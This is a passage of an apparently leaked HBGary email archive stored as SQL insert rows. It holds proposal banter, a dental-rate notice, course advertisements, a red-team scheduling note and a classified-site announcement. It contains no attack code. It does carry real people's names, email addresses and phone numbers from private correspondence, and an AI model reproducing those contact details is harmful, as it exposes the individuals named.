August 16, 2010 9:49 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: sections\r\n>\r\n> I have the overall solution as well as the technical services section.\r\n>\r\n> Please review and comment.  Some data is sparse in the tables.  If you\r\n> can help fill some in great.\r\n>\r\n> Also I need past performance to fill out the following table related to\r\n> each function.  Who can do that?\r\n>\r\n> \r\n> \r\n',5514,'aaron_hbgary_com/5514.html'),(10400,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008111.M313859P14101Q5256.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','If I were to use my GOD against you I would not have him put you with\r\nKen.  I still worry about Karma as well.  As for what you did to \"earn\"\r\nthis it is way beyond kitten abuse. \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 11:55 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: sections\r\n\r\nI think I have made a fluffy kitten cry and this is my punishment.\r\n\r\nAaron\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 1:49 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Breathe\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 11:48 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> Dude.  Errr.  I already want to punch h in the neck.  He wants to\r\n> replace my mission graphic with some BS NG graphic.  The fuckers.....\r\n> Errrr....twitch...\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> Can you call?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 11:00 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: Re: sections\r\n>>\r\n>> Dude... Ken all day.  Why me?\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> I did this update over the weekend. Will update the image in your\r\n>> write\r\n>>> up.\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 16, 2010 9:49 AM\r\n>>> To: Winterfeld, Steven P (TASC)\r\n>>> Subject: sections\r\n>>>\r\n>>> I have the overall solution as well as the technical services\r\n> section.\r\n>>>\r\n>>> Please review and comment.  Some data is sparse in the tables.  If\r\n> you\r\n>>> can help fill some in great.\r\n>>>\r\n>>> Also I need past performance to fill out the following table related\r\n>> to\r\n>>> each function.  Who can do that?\r\n>>>\r\n>>> \r\n>>> \r\n',5738,'aaron_hbgary_com/5738.html'),(10401,'2010-08-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008111.M573189P14101Q5257.eml','\"Inc. HBGARY\" <All@hbgary.com>','RE: Delta Dental Rate Increase','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nI input the incorrect price for Three\r\nParty + &nbsp;- &nbsp;the current rate is Current $157.30 &nbsp;not $57.30. The New Rate is $162.81.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Monday, August 16, 2010 10:12 AM\r\nTo: Inc. HBGARY (All@hbgary.com)\r\nCc: Barbara Vermilyea\r\nSubject: Delta Dental Rate Increase\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHello to all,\r\n\r\n&nbsp;\r\n\r\nEffective October 1, 2010 your monthly rate for Delta Dental\r\nwill increases to the following.\r\n\r\n&nbsp;\r\n\r\nOne Party &nbsp;-&nbsp; Current rates is $47.72&nbsp; New\r\nRate is $49.39\r\n\r\nTwo Party &#8211; Current Rate is &nbsp;$102.33 New Rate is$105.91\r\n\r\nTree Party + - Current Rate $57.30&nbsp; New Rate is $162.98\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14287,'aaron_hbgary_com/14287.html'),(10402,'2010-08-16','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008111.M82906P14101Q5255.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,','Re: Delta Dental Rate Increase','The family plan tripled in price?On Mon, Aug 16, 2010 at 1:12 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello to all,\r\n\r\n \r\n\r\nEffective October 1, 2010 your monthly rate for Delta Dental\r\nwill increases to the following.\r\n\r\n \r\n\r\nOne Party  -  Current rates is $47.72  New\r\nRate is $49.39\r\n\r\nTwo Party – Current Rate is  $102.33 New Rate is$105.91\r\n\r\nTree Party + - Current Rate $57.30  New Rate is $162.98\r\n\r\n \r\n\r\nThanks\r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',1134,'aaron_hbgary_com/1134.html'),(10403,'2010-08-16','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008111.M925199P14101Q5258.eml','federal@hbgary.com','John Rodenbiker is now following you on Twitter!','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0;  font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; }\r\n  p { line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;}\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, HBGary Federal.\r\n\r\nJohn Rodenbiker (jrodenbiker) is now following your tweets on Twitter. \r\n\r\n\r\nA little information about John Rodenbiker: \r\n\r\n\r\n  \r\n    \r\n    \r\n      \r\n        10 followers\r\n        51 tweets\r\n        following 18 people\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\nYou may follow John Rodenbiker as well by clicking on the \"follow\" button on their profile.If you believe John Rodenbiker is engaging in abusive behavior on Twitter, you may report John Rodenbiker for spam.\r\nJohn Rodenbiker may not appear in your follower list. John Rodenbiker may have decided to stop following you, or the account may have been suspended for a Terms of Service violation.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',10764,'aaron_hbgary_com/10764.html'),(10404,'2010-08-16','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297008112.M172030P14101Q5259.eml','aaron@hbgary.com','AFCEA offers Command & Control and Intelligence Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n\r\n  203 The U.S. Intelligence Community: Who Does What, With What, For What? September 13-15, 2010.&nbsp; This course is Classified.\r\n  261-11-FXVA-1  Net-Centric Warfare:&nbsp; Interpretation, Technologies, and Implementation; October 12-15, 2010\r\n  281-11-FXVA-1  GCCS Joint: Transitioning to Joint Command and Control Capabilities (JC2C) ; October 18-22, 2010.&nbsp; This course is Classified.\r\n  203-11-FXVA-1 The U.S. Intelligence Community: Who Does What, With What, For What? November 30-December 2, 2010 \r\n   204-11-FXVA-1  Basic Intelligence Support to Cyber Conflict; January 10, 2011 \r\n   206-11-FXVA-1  Advanced Intelligence Support to Cyber Conflict; January 11-12, 2011 \r\n  203 The U.S. Intelligence Community: Who Does What, With What, For What? September 13-15, 2010.&nbsp; This course is Classified.\r\n   The U.S. Intelligence Community is faced with new challenges. This top-down classified course provides an up-to-date understanding of the new and still changing structure and functions of the Intelligence Community and its components. The changing threats and challenges with which they must deal, as well as resources and processes used are covered. The course addresses intelligence programs and provides insight into relations between intelligence producers and policy, military and other consumers, as well as useful information about the interaction between U.S. Intelligence and industry.\r\n  261-11-FXVA-1 Net-Centric Warfare:&nbsp; Interpretation, Technologies, and Implementation; October 12-15, 2010\r\n   Network Centric Warfare is quickly becoming a fundamental consideration in acquiring and maintaining military and civil government communications networks. This course provides an in-depth view of net-centric/network-centric philosophies and operational implications, networks, including how they should be protected, how they are attacked.&nbsp; Government speakers have been invited to address Army, Navy, Air Force and OSD (C3I) views of Net-Centric Warfare.\r\n  281-11-FXVA-1  GCCS Joint: Transitioning to Joint Command and Control Capabilities (JC2C); October 18-22, 2010.&nbsp; This course is Classified.\r\n  In this extensively updated course 25 key Government speakers will provide up to the minute news on the evolution toward JC2C. One day of the course is a field trip to DISA for classified demonstrations.&nbsp; Students will have the opportunity to ask the experts about the future of the systems which support the warfighting commanders. \r\n  203-11-FXVA-1 The U.S. Intelligence Community: Who Does What, With What, For What? November 30-December 2, 2010  \r\n   The U.S. Intelligence Community is faced with new challenges. This top-down  course provides an up-to-date understanding of the new and still changing structure and functions of the Intelligence Community and its components. The changing threats and challenges with which they must deal, as well as resources and processes used are covered. The course addresses intelligence programs and provides insight into relations between intelligence producers and policy, military and other consumers, as well as useful information about the interaction between U.S. Intelligence and industry.\r\n  204-11-FXVA-1  Basic Intelligence Support to Cyber Conflict; January 10, 2011 \r\n  The cyber/cyber intelligence issue is one of the most dynamic national security issues.&nbsp; Basic issues of doctrine and intelligence requirements are still being created and will continue to evolve over the next several years.&nbsp; Our cyber courses reflect and attempt to address these areas of change and uncertainty. The Basic one-day course is intended for individuals starting a career in the field or who are interested in separating the hype from the reality of intelligence in cyberspace. It introduces students to intelligence support to warfare conducted in cyberspace, and addresses computer network attack, defense and exploitation. This course covers the nature of cyberspace; understanding cyber attacks and adversaries in cyberspace; U.S. organizations; and the latest intelligence concepts to support computer network defense and offense. From indications &amp; warning (I&amp;W) and battle damage assessment (BDA), this course will give you your crucial first steps to understanding your role in cyber conflict.&nbsp; Please note that we offer two different levels of courses on cyber, both Basic and Advanced.&nbsp; Students should not register for both courses, rather should choose one based on their familiarity with the cyber issue. \r\n   206-11-FXVA-1  Advanced Intelligence Support to Cyber Conflict; January 11-12, 2011\r\n  The cyber/cyber intelligence issue is one of the most dynamic national security issues.&nbsp; Basic issues of doctrine and intelligence requirements are still being created and will continue to evolve over the next several years.&nbsp; Our cyber courses reflect and attempt to address these areas of change and uncertainty. The Advanced two-day course helps students begin to apply intelligence and national security concepts with the technical realities of conflict in cyberspace.&nbsp; This course reviews the material included in the Basic course as a refresher and then goes on to group discussion and exercises on the issues of attack attribution and national responsibility, and the latest developments in legal issues, such as &ldquo;when is a cyber attack an act of war?&rdquo;.&nbsp; Other topics include strategic cyber warfare, deterrence and arms control, and other advanced topics.&nbsp; Individuals should have a minimum of four years&rsquo; experience. Please note that we offer two different levels of courses on cyber, both Basic and Advanced.&nbsp; Students should not register for both courses, rather should choose one based on their familiarity with the cyber issue.\r\n  \r\n  \r\n  Other Courses offered in August - September 2010:\r\n701 Introduction to Electromagnetic Compatibility; Herndon, VA - August 23 \r\n  340  Automated High Frequency Radio; August 31-September 2 \r\n  760  TEMPEST Threat Management (Formerly TEMPEST Managers\' Certification Course; September 1-2.&nbsp; A secret clearance is required to attend this course.\r\n  360  Implementing IPv6; September 21-24 &nbsp;\r\n   907 The Ultimate Government Market Research Workshop; September 28\r\n   906 The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting; September 29-30\r\n  All courses will be held in Fairfax, VA unless otherwise noted. \r\n  \r\n    For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n    \r\n    \r\n    ____________________________________________________________________________\r\n  \r\n  For more PDC course information: \r\n  Print or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\n  The PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\n  Subscribe to RSS to get updated information about PDC courses automatically downloaded to your computer.\r\n  For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n        \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n    \r\n  \r\n  \r\n  \r\n    This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n      \r\n    AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n   \r\n  \r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',3234,'aaron_hbgary_com/3234.html'),(10405,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008112.M448169P14101Q5260.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: sections','I have bad karma.  Just got into an argument over my approach vs. A it\r\nsecurity reference architecture.\r\n\r\nPen to the eye, his or mine doesn\'t matter.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 2:01 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> If I were to use my GOD against you I would not have him put you with\r\n> Ken.  I still worry about Karma as well.  As for what you did to \"earn\"\r\n> this it is way beyond kitten abuse.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 11:55 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> I think I have made a fluffy kitten cry and this is my punishment.\r\n>\r\n> Aaron\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 1:49 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> Breathe\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 11:48 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: Re: sections\r\n>>\r\n>> Dude.  Errr.  I already want to punch h in the neck.  He wants to\r\n>> replace my mission graphic with some BS NG graphic.  The fuckers.....\r\n>> Errrr....twitch...\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Can you call?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 16, 2010 11:00 AM\r\n>>> To: Winterfeld, Steven P (TASC)\r\n>>> Subject: Re: sections\r\n>>>\r\n>>> Dude... Ken all day.  Why me?\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> I did this update over the weekend. Will update the image in your\r\n>>> write\r\n>>>> up.\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 16, 2010 9:49 AM\r\n>>>> To: Winterfeld, Steven P (TASC)\r\n>>>> Subject: sections\r\n>>>>\r\n>>>> I have the overall solution as well as the technical services\r\n>> section.\r\n>>>>\r\n>>>> Please review and comment.  Some data is sparse in the tables.  If\r\n>> you\r\n>>>> can help fill some in great.\r\n>>>>\r\n>>>> Also I need past performance to fill out the following table related\r\n>>> to\r\n>>>> each function.  Who can do that?\r\n>>>>\r\n>>>> \r\n>>>> \r\n',15819,'aaron_hbgary_com/15819.html'),(10406,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008112.M679440P14101Q5261.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','Ask him where he gets his hair cut. \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 12:50 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: sections\r\n\r\nI have bad karma.  Just got into an argument over my approach vs. A it\r\nsecurity reference architecture.\r\n\r\nPen to the eye, his or mine doesn\'t matter.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 2:01 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> If I were to use my GOD against you I would not have him put you with\r\n> Ken.  I still worry about Karma as well.  As for what you did to\r\n\"earn\"\r\n> this it is way beyond kitten abuse.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 11:55 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> I think I have made a fluffy kitten cry and this is my punishment.\r\n>\r\n> Aaron\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 1:49 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> Breathe\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 11:48 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: Re: sections\r\n>>\r\n>> Dude.  Errr.  I already want to punch h in the neck.  He wants to\r\n>> replace my mission graphic with some BS NG graphic.  The fuckers.....\r\n>> Errrr....twitch...\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Can you call?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 16, 2010 11:00 AM\r\n>>> To: Winterfeld, Steven P (TASC)\r\n>>> Subject: Re: sections\r\n>>>\r\n>>> Dude... Ken all day.  Why me?\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> I did this update over the weekend. Will update the image in your\r\n>>> write\r\n>>>> up.\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 16, 2010 9:49 AM\r\n>>>> To: Winterfeld, Steven P (TASC)\r\n>>>> Subject: sections\r\n>>>>\r\n>>>> I have the overall solution as well as the technical services\r\n>> section.\r\n>>>>\r\n>>>> Please review and comment.  Some data is sparse in the tables.  If\r\n>> you\r\n>>>> can help fill some in great.\r\n>>>>\r\n>>>> Also I need past performance to fill out the following table\r\nrelated\r\n>>> to\r\n>>>> each function.  Who can do that?\r\n>>>>\r\n>>>> \r\n>>>> \r\n',4744,'aaron_hbgary_com/4744.html'),(10407,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008112.M888375P14101Q5262.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: sections','Ha!  Do you have some incised and security architecture stuff?  Help\r\nyour TASC buddy out.  :)\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 2:58 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Ask him where he gets his hair cut.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 12:50 PM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: sections\r\n>\r\n> I have bad karma.  Just got into an argument over my approach vs. A it\r\n> security reference architecture.\r\n>\r\n> Pen to the eye, his or mine doesn\'t matter.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 16, 2010, at 2:01 PM, \"Winterfeld, Steven P (TASC)\"\r\n>  wrote:\r\n>\r\n>> If I were to use my GOD against you I would not have him put you with\r\n>> Ken.  I still worry about Karma as well.  As for what you did to\r\n> \"earn\"\r\n>> this it is way beyond kitten abuse.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 16, 2010 11:55 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: Re: sections\r\n>>\r\n>> I think I have made a fluffy kitten cry and this is my punishment.\r\n>>\r\n>> Aaron\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 16, 2010, at 1:49 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Breathe\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 16, 2010 11:48 AM\r\n>>> To: Winterfeld, Steven P (TASC)\r\n>>> Subject: Re: sections\r\n>>>\r\n>>> Dude.  Errr.  I already want to punch h in the neck.  He wants to\r\n>>> replace my mission graphic with some BS NG graphic.  The fuckers.....\r\n>>> Errrr....twitch...\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> On Aug 16, 2010, at 1:16 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Can you call?\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, August 16, 2010 11:00 AM\r\n>>>> To: Winterfeld, Steven P (TASC)\r\n>>>> Subject: Re: sections\r\n>>>>\r\n>>>> Dude... Ken all day.  Why me?\r\n>>>>\r\n>>>> Sent from my iPhone\r\n>>>>\r\n>>>> On Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n>>>>  wrote:\r\n>>>>\r\n>>>>> I did this update over the weekend. Will update the image in your\r\n>>>> write\r\n>>>>> up.\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Monday, August 16, 2010 9:49 AM\r\n>>>>> To: Winterfeld, Steven P (TASC)\r\n>>>>> Subject: sections\r\n>>>>>\r\n>>>>> I have the overall solution as well as the technical services\r\n>>> section.\r\n>>>>>\r\n>>>>> Please review and comment.  Some data is sparse in the tables.  If\r\n>>> you\r\n>>>>> can help fill some in great.\r\n>>>>>\r\n>>>>> Also I need past performance to fill out the following table\r\n> related\r\n>>>> to\r\n>>>>> each function.  Who can do that?\r\n>>>>>\r\n>>>>> \r\n>>>>> \r\n',11976,'aaron_hbgary_com/11976.html'),(10408,'2010-08-16','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008113.M159027P14101Q5263.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Red Team Schedule','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI: We are re-forecasting the Red Team, likely for this\r\nFriday afternoon or Saturday. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13222,'aaron_hbgary_com/13222.html'),(10409,'2010-08-16','arc@westfields.net','/aaron@hbgary.com/new/1297008113.M376238P14101Q5264.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are 